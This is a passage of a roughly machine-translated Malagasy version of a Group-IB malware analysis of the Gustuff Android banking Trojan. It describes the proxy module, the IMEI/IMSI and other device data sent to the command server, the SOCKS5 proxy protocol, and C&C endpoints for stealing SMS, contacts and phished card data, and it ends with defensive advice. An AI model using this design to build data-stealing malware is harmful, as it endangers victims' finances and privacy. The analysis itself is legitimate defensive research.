Atomboka ny module proxy rehefa tonga ny baiko mifanaraka amin'izany. Rehefa voaray ny baiko hanombohana ny maody proxy, ny fampiharana dia manomboka ny serivisy miaraka amin'ny anarana MainService, izay tompon'andraikitra amin'ny fitantanana ny fampandehanana ny maody Proxy - manomboka sy mampiato azy.

Dingana fanombohana serivisy:

1. Manomboha fameram-potoana mirehitra indray mandeha isa-minitra ary manamarina ny asan'ny maody proxy. Raha tsy mavitrika ny module dia manomboka izany.
Ary koa rehefa mirehitra ny hetsika android.net.conn.CONNECTIVITY_CHANGE natomboka ny module proxy.

2. Ny fampiharana dia mamorona hidin-trano mifoha miaraka amin'ny paramètre PARTIAL_WAKE_LOCK ary misambotra azy. Noho izany, tsy mamela ny CPU ny fitaovana hiditra amin'ny fomba torimaso.

3. Mandeha ny kilasin'ny fanodinana baiko amin'ny maody proxy, misoratra anarana aloha ny tsipika mainLog("startserver") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

izay proxy_cnc, command_port ary proxy_port - masontsivana voaray avy amin'ny fanahafana mpizara proxy.

Ny kilasy fanodinana baiko dia nomena anarana CommandConnection. Avy hatrany aorian'ny fandefasana dia manao ireto hetsika manaraka ireto izy:

4. Mifandray amin'ny ProxyConfigClass.host: ProxyConfigClass.commandPort ary mandefa angona momba ilay fitaovana voan'ny aretina ao amin'ny endrika JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

izay:

  • id - identifier, manandrana maka avy amin'ny rakitra Shared Preference miaraka amin'ny anarana "x" sanda misy ny saha "id". Raha tsy azo io sanda io dia miteraka iray vaovao. Noho izany, ny maody proxy dia manana ny famantarana azy manokana, izay novokarina mitovy amin'ny Bot ID.
  • imei - IMEI ny fitaovana. Raha misy hadisoana nitranga teo am-pahazoana ny sandany dia hafatra an-tsoratra diso no hosoratana fa tsy ity saha ity.
  • imsi - Identité International Mobile Subscriber an'ilay fitaovana. Raha misy hadisoana nitranga teo am-pahazoana ny sandany dia hafatra an-tsoratra diso no hosoratana fa tsy ity saha ity.
  • modely - Ny anarana hita maso ho an'ny vokatra farany.
  • mpanamboatra - Ny mpanamboatra ny vokatra/fitaovana (Build.MANUFACTURER).
  • androidVersion dia tady amin'ny endrika "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • firenena no toerana misy ny fitaovana amin'izao fotoana izao.
  • partnerId dia tady foana.
  • packageName - packagename.
  • networkType - karazana fifandraisana amin'izao fotoana izao (ohatra: "WIFI", "MOBILE"). Mamerina null amin'ny fahadisoana.
  • hasGsmSupport - marina - raha manohana GSM ny telefaona, raha tsy izany dia diso.
  • simReady - sata karatra SIM.
  • simCountry - kaody ISO an'ny firenena (mifototra amin'ny mpamatsy karatra SIM).
  • networkOperator - ny anaran'ny mpandraharaha. Raha misy hadisoana nitranga teo am-pahazoana ny sandany dia hafatra an-tsoratra diso no hosoratana fa tsy ity saha ity.
  • simOperator - Ny anaran'ny mpamatsy serivisy (SPN). Raha misy hadisoana nitranga teo am-pahazoana ny sandany dia hafatra an-tsoratra diso no hosoratana fa tsy ity saha ity.
  • version - ity sehatra ity dia voatahiry ao amin'ny kilasy config, ho an'ny dikan-teny nodinihina tamin'ny bot dia mitovy amin'ny "1.6".

5. Mivadika amin'ny fomba fiandrasana baiko avy amin'ny mpizara. Ny baiko avy amin'ny mpizara dia tonga amin'ny endrika:

  • 0 offset-baiko
  • 1 offset-sessionId
  • 2 offset-lavany
  • 4 offset-data

Rehefa voaray ny baiko dia misoratra anarana ny fampiharana:
mainLog("Lohateny { sessionId<%id%>], karazana[<%command%>], halavany[<%length%>] }")

Ireto baiko manaraka ireto dia azo atao avy amin'ny mpizara:

anarana Command Data Description
connectionId 0 ID fifandraisana Mamorona fifandraisana vaovao
torimaso 3 Time Atsaharo ny maody proxy
PING_PONG 4 - Alefaso hafatra PONG

Ny hafatra PONG dia misy 4 bytes ary toa izao: 0x04000000.

Rehefa voaray ny baiko connectionId (hamorona fifandraisana vaovao) CommandConnection mamorona ohatra amin'ny kilasy ProxyConnection.

  • Kilasy roa no mandray anjara amin'ny proxy: ProxyConnection и tapitra. Rehefa mamorona kilasy ProxyConnection mifandray amin'ny adiresy ProxyConfigClass.host: ProxyConfigClass.proxyPort ary mandalo zavatra JSON:

 {
    "id":<%connectionId%>
}

Ho setrin'izany dia mandefa hafatra SOCKS5 ny mpizara izay misy ny adiresin'ny mpizara lavitra izay tsy maintsy ametrahana ny fifandraisana. Ny fifandraisana amin'ity mpizara ity dia mitranga amin'ny kilasy tapitra. Schematically, ny setup fifandraisana dia azo aseho toy izao manaraka izao:

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao

Fifandraisana amin'ny tambajotra

Mba hisakanana ireo sniffers amin'ny tambajotra amin'ny famakafakana ny fifamoivoizana dia azo antoka ny fifandraisana eo amin'ny mpizara CnC sy ny fampiharana amin'ny alàlan'ny protocol SSL. Ny angon-drakitra rehetra alefa na avy amin'ny mpizara na amin'ny mpizara dia amin'ny endrika JSON. Ny fampiharana dia manao ireto fangatahana manaraka ireto mandritra ny fandidiana:

  • http://<%CnC%>/api/v1/set_state.php dia vokatry ny fanatanterahana baiko.
  • http://<%CnC%>/api/v1/get.php - mandray baiko.
  • http://<%CnC%>/api/v1/load_sms.php - fampidinana hafatra SMS avy amin'ny fitaovana voan'ny aretina.
  • http://<%CnC%>/api/v1/load_ab.php - mampakatra ny lisitry ny fifandraisana avy amin'ny fitaovana voan'ny aretina.
  • http://<%CnC%>/api/v1/aevents.php - ny fangatahana dia atao rehefa manavao ny masontsivana ao amin'ny rakitra preference.
  • http://<%CnC%>/api/v1/set_card.php - fampiakarana angon-drakitra azo amin'ny alàlan'ny varavarankely phishing masquerade ho tsenan'ny Google Play.
  • http://<%CnC%>/api/v1/logs.php - fampidinana angon-drakitra.
  • http://<%CnC%>/api/v1/records.php - fampiakarana angona azo amin'ny alàlan'ny fikandrana phishing.
  • http://<%CnC%>/api/v1/set_error.php – fampandrenesana fahadisoana.

tolo-kevitra

Mba hiarovana ny mpanjifany amin'ny fandrahonan'ny Trojans finday, ny orinasa dia tsy maintsy mampiasa vahaolana feno izay mamela, nefa tsy mametraka rindrambaiko fanampiny amin'ny fitaovan'ny mpampiasa, hanara-maso sy hisorohana ny asa ratsy.

Mba hanaovana izany, mila ampitomboina amin'ny teknôlôjian'ny famakafakana ny fihetsiky ny mpanjifa sy ny fampiharana azy ireo fomba mifototra amin'ny sonia hamantarana ireo Trojan finday. Ary koa, ny fiarovana dia tokony ahitana ny asan'ny famantarana fitaovana amin'ny alàlan'ny teknolojian'ny fanondro nomerika, izay ahafahana mahafantatra rehefa misy kaonty ampiasaina amin'ny fitaovana atypical ary efa latsaka teo am-pelatanan'ny mpisoloky.

Ny teboka manan-danja indrindra dia ny mety hisian'ny famakafakana cross-channel, izay ahafahan'ny orinasa mifehy ny loza mety hitranga amin'ny lafiny tsy amin'ny Internet, fa amin'ny fantsona finday, ohatra, amin'ny fampiharana amin'ny banky finday, amin'ny fifanakalozana amin'ny crypto. -vola sy izay rehetra azo anatanterahana izany.fifandraisana ara-bola.

Fitsipika fiarovana ho an'ny mpampiasa:

  • aza mametraka rindranasa ho an'ny fitaovana finday misy Android OS avy amin'ny loharano hafa ankoatry ny Google Play, tandremo manokana ny zo nangatahan'ny fampiharana;
  • mametraka tsy tapaka ny Android OS fanavaozana;
  • tandremo ny fanitarana ny rakitra nampidirina;
  • aza mitsidika loharano mampiahiahy;
  • Aza tsindrio ny rohy voaray amin'ny hafatra SMS.

Kintana Semyon Rogachev, Mpikaroka momba ny Kaody ratsy maloto, Group-IB Computer Forensics Lab.

Source: www.habr.com

Add a comment